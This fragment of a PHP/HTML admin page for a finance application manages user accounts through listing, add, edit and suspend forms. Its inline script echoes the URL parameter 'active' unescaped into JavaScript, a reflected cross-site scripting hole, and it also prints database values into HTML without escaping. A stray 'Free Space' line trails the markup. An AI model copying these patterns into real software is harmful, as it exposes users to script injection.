<td>".$sr."</td> <td>".ucfirst($allusers["first_name"])." ".ucfirst($allusers["last_name"])."</td> <td>".ucfirst($allusers["type"])."</td> <td>".$status."</td> <td> ".$btn." <span class=\"myTab\"> <a href=\"#user_edit\" title=\Edit User\" data-id=\"".$allusers["id"]."\" class=\"edt_user\"><button class=\"btn btn-info btn-xs\"><i class=\"fa fa-user\"></i></button></a> </span> </td> </tr> "; } ?> </tbody> </table> </div> <!--Groups Control Definition--> <!--New User--> <div role="tabpanel" class="tab-pane fade" id="user_add"> <div class="col-md-12" style="margin-bottom:2em;"> <div class="col-md-7"> <h4 style="margin-top: 1px;">Add New User</h4> <p></p> </div> <div class="col-md-5 myTab" style="text-align:right;"> <a href="#add_users" title="Go Back"><button class="btn-xs btn-default"><i class="fa fa-chevron-left"> </i> Back</button></a> </div> </div> <form class="user_form" action="admin/ajax/php/module_function.php" id="new_user" method="POST" data-back="acl"> <div class="col-md-6 col-md-offset-3 form-group"> <label class="control-label col-md-3 col-sm-12 col-xs-12 cap"><span>First Name</span> </label> <div class="col-md-9 col-sm-12 col-xs-12 field"> <input type="text" class="form-control col-md-4" name="first_name"/> </div> <div class="clearfix"></div> <label class="control-label col-md-3 col-sm-12 col-xs-12 cap"><span>Last Name</span> </label> <div class="col-md-9 col-sm-12 col-xs-12 field"> <input type="text" class="form-control col-md-4" name="last_name"/> </div> <div class="clearfix"></div> <label class="control-label col-md-3 col-sm-12 col-xs-12 cap"><span>Email Address</span> </label> <div class="col-md-9 col-sm-12 col-xs-12 field"> <input type="email" class="form-control col-md-4" name="email"/> </div> <div class="clearfix"></div> <label class="control-label col-md-3 col-sm-12 col-xs-12 cap"><span>Mobile Number</span> </label> <div class="col-md-9 col-sm-12 col-xs-12 field"> <input type="text" class="form-control col-md-4" name="mobile"/> </div> <div class="clearfix"></div> <label class="control-label col-md-3 col-sm-12 col-xs-12 cap"><span>User Name</span> </label> <div class="col-md-9 col-sm-12 col-xs-12 field"> <input type="text" class="form-control col-md-4" name="name"/> </div> <div class="clearfix"></div> <label class="control-label col-md-3 col-sm-12 col-xs-12 cap"><span>Password</span> </label> <div class="col-md-9 col-sm-12 col-xs-12 field"> <input type="password" class="form-control col-md-4" name="password"/> </div> <div class="clearfix"></div> <label class="control-label col-md-3 col-sm-12 col-xs-12 cap"> <span>User Type</span></label> <div class="col-md-9 col-sm-12 col-xs-12 field"> <select class="select1_single form-control col-md-4 type_select" name="type" required> <option value="">Choose Type</option> <?php $sql_types="select * from `".$MySQL_database."`.access_control_group_m where del='N' order by group_nm"; $query_types=mysqli_query($connection,$sql_types); while($types=mysqli_fetch_assoc($query_types)){ print" <option value='".$types["group_nm"]."'>".ucwords($types["group_nm"])."</option> "; } ?> </select> </div> <input type="hidden" name="status" value="n"/> <input type="hidden" name="new_user" value="y"/> </div> <div class="col-md-6 col-md-offset-3 go" style="text-align:center;"> <button type="submit" class="btn btn-dark"><i class="fa fa-lock"> </i> Create User</button> </div> </form> </div> <!--New User--> <!--Edit User--> <div role="tabpanel" class="tab-pane fade" id="user_edit"> <div class="col-md-12" style="margin-bottom:2em;"> <div class="col-md-7"> <h4 style="margin-top: 1px;">Edit User - <span id="usrnm"></span></h4> <p></p> </div> <div class="col-md-5 myTab" style="text-align:right;"> <a href="#add_users" title="Go Back"><button class="btn-xs btn-default"><i class="fa fa-chevron-left"> </i> Back</button></a> </div> </div> <form class="edit_user_form" action="admin/ajax/php/module_function.php" id="edit_user" method="POST" data-back="acl"> <div class="col-md-6 col-md-offset-3 form-group"> <label class="control-label col-md-3 col-sm-12 col-xs-12 cap"><span>First Name</span> </label> <div class="col-md-9 col-sm-12 col-xs-12 field"> <input type="text" class="form-control col-md-4" name="first_name" id="firstnm"/> </div> <div class="clearfix"></div> <label class="control-label col-md-3 col-sm-12 col-xs-12 cap"><span>Last Name</span> </label> <div class="col-md-9 col-sm-12 col-xs-12 field"> <input type="text" class="form-control col-md-4" name="last_name" id="lastnm"/> </div> <div class="clearfix"></div> <label class="control-label col-md-3 col-sm-12 col-xs-12 cap"><span>Email Address</span> </label> <div class="col-md-9 col-sm-12 col-xs-12 field"> <input type="email" class="form-control col-md-4" name="email" id="eml"/> </div> <div class="clearfix"></div> <label class="control-label col-md-3 col-sm-12 col-xs-12 cap"><span>Mobile Number</span> </label> <div class="col-md-9 col-sm-12 col-xs-12 field"> <input type="text" class="form-control col-md-4" name="mobile" id="mbl"/> </div> <div class="clearfix"></div> <label class="control-label col-md-3 col-sm-12 col-xs-12 cap"><span>User Name</span> </label> <div class="col-md-9 col-sm-12 col-xs-12 field"> <input type="text" class="form-control col-md-4" name="name" id="user"/> </div> <div class="clearfix"></div> <label class="control-label col-md-3 col-sm-12 col-xs-12 cap"> <span>User Type</span></label> <div class="col-md-9 col-sm-12 col-xs-12 field"> <select class="select1_single form-control col-md-4 type_select" name="type" id="usrtyp" required> <option value="">Choose Type</option> <?php $sql_types="select * from `".$MySQL_database."`.access_control_group_m where del='N' order by group_nm"; $query_types=mysqli_query($connection,$sql_types); while($types=mysqli_fetch_assoc($query_types)){ print" <option value='".$types["group_nm"]."'>".ucwords($types["group_nm"])."</option> "; } ?> </select> </div> <input type="hidden" name="user_id" id="user_id" value=""/> <input type="hidden" name="edit_user" value="y"/> </div> <div class="col-md-6 col-md-offset-3 go" style="text-align:center;"> <button type="submit" class="btn btn-dark"><i class="fa fa-lock"> </i> Edit User</button> </div> </form> </div> <!--Edit User--> </div> </div> </div> </div> <!--content-end--> </section><!--/wrapper --> </section><!-- /MAIN CONTENT --> <!--main content end--> <div class="modal fade" id="suspend-modal" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog modal-xs"> <div class="modal-content"> <div class="modal-header"> <button type="button" class="close" data-dismiss="modal"><span aria-hidden="true">×</span> </button> <h4 class="modal-title" id="myModalLabel"><i class="fa fa-exclamation-triangle"></i> Warning, <span class="modalhead">suspend</span> <span class="label label-danger user_name"></span></h4> </div> <div class="modal-body"> <h4>Are you sure you want to <span class="modalhead">suspend</span> this user?</h4> <p id="modal-inner">Once suspended, this user will no longer be able to log into ProFinance. You will still retain all records of their actions in the system.</p> </div> <div class="modal-footer"> <button type="button" class="btn btn-primary" data-dismiss="modal">Cancel</button> <button type="submit" class="btn btn-theme" id="confirm_suspend" data-popup_user_id="" data-popup_status="" ><i class="fa fa-ban"></i> Suspend Now</button> </div> </div> </div> </div> <!--footer start--> <footer class="site-footer"> <div class="text-center"> 2022 - ProFinance <a href="#" class="go-top"> <i class="fa fa-angle-up"></i> </a> </div> </footer> <!--footer end--> </section> <!-- js placed at the end of the document so the pages load faster --> <script src="assets/js/jquery.js"></script> <script src="assets/js/bootstrap.min.js"></script> <script src="assets/js/jquery-ui-1.9.2.custom.min.js"></script> <script src="assets/js/jquery.ui.touch-punch.min.js"></script> <script class="include" type="text/javascript" src="assets/js/jquery.dcjqaccordion.2.7.js"></script> <script src="assets/js/jquery.scrollTo.min.js"></script> <script src="assets/js/jquery.nicescroll.js" type="text/javascript"></script> <!--script for this page--> <script type="text/javascript" src="assets/js/gritter/js/jquery.gritter.js"></script> <script src="admin/ajax/js/cust_sup.js" type="text/javascript"></script> <!-- select2 --> <script src="assets/js/select/select2.full.js"></script> <!--common script for all pages--> <script src="assets/js/common-scripts.js"></script> <script src="admin/ajax/js/access_control_list.js"></script> <!-- TagsInput --> <script src="assets/js/bootstrap-tagsinput/bootstrap-tagsinput.js"></script> <!-- Datatables--> <script src="assets/js/datatables/jquery.dataTables.min.js"></script> <script src="assets/js/datatables/dataTables.bootstrap.js"></script> <script src="assets/js/datatables/dataTables.buttons.min.js"></script> <script src="assets/js/datatables/buttons.bootstrap.min.js"></script> <script src="assets/js/datatables/jszip.min.js"></script> <script src="assets/js/datatables/pdfmake.min.js"></script> <script src="assets/js/datatables/vfs_fonts.js"></script> <script src="assets/js/datatables/buttons.html5.min.js"></script> <script src="assets/js/datatables/buttons.print.min.js"></script> <script src="assets/js/datatables/dataTables.fixedHeader.min.js"></script> <script src="assets/js/datatables/dataTables.keyTable.min.js"></script> <script src="assets/js/datatables/dataTables.responsive.min.js"></script> <script src="assets/js/datatables/responsive.bootstrap.min.js"></script> <script src="assets/js/datatables/dataTables.scroller.min.js"></script> <script type="text/javascript"> $('.myTab a').click(function (e) { e.preventDefault(); $(this).tab('show'); }) <?php if(isset($_GET['active'])){ print " $('.myTab a[href=\"#".$_GET['active']."\"]').tab('show')"; } ?> </script> <!-- select2 --> <script> document.querySelector('input').addEventListener('keydown', function (e) { if (e.which == 9) { e.preventDefault(); } }); $(document).ready(function () { $(".select1_single").select2({ placeholder: "CHOOSE", allowClear: true }); $('[data-toggle="popover"]').popover(); //Datatables $('#datatable').dataTable(); $('#datatable2').dataTable(); //Datatables }); var height = $('.container').height(); $('.tab-content').css('min-height',height-20); </script> <!-- /select2 --> </body> </html>
Free Space : 77943013376 Byte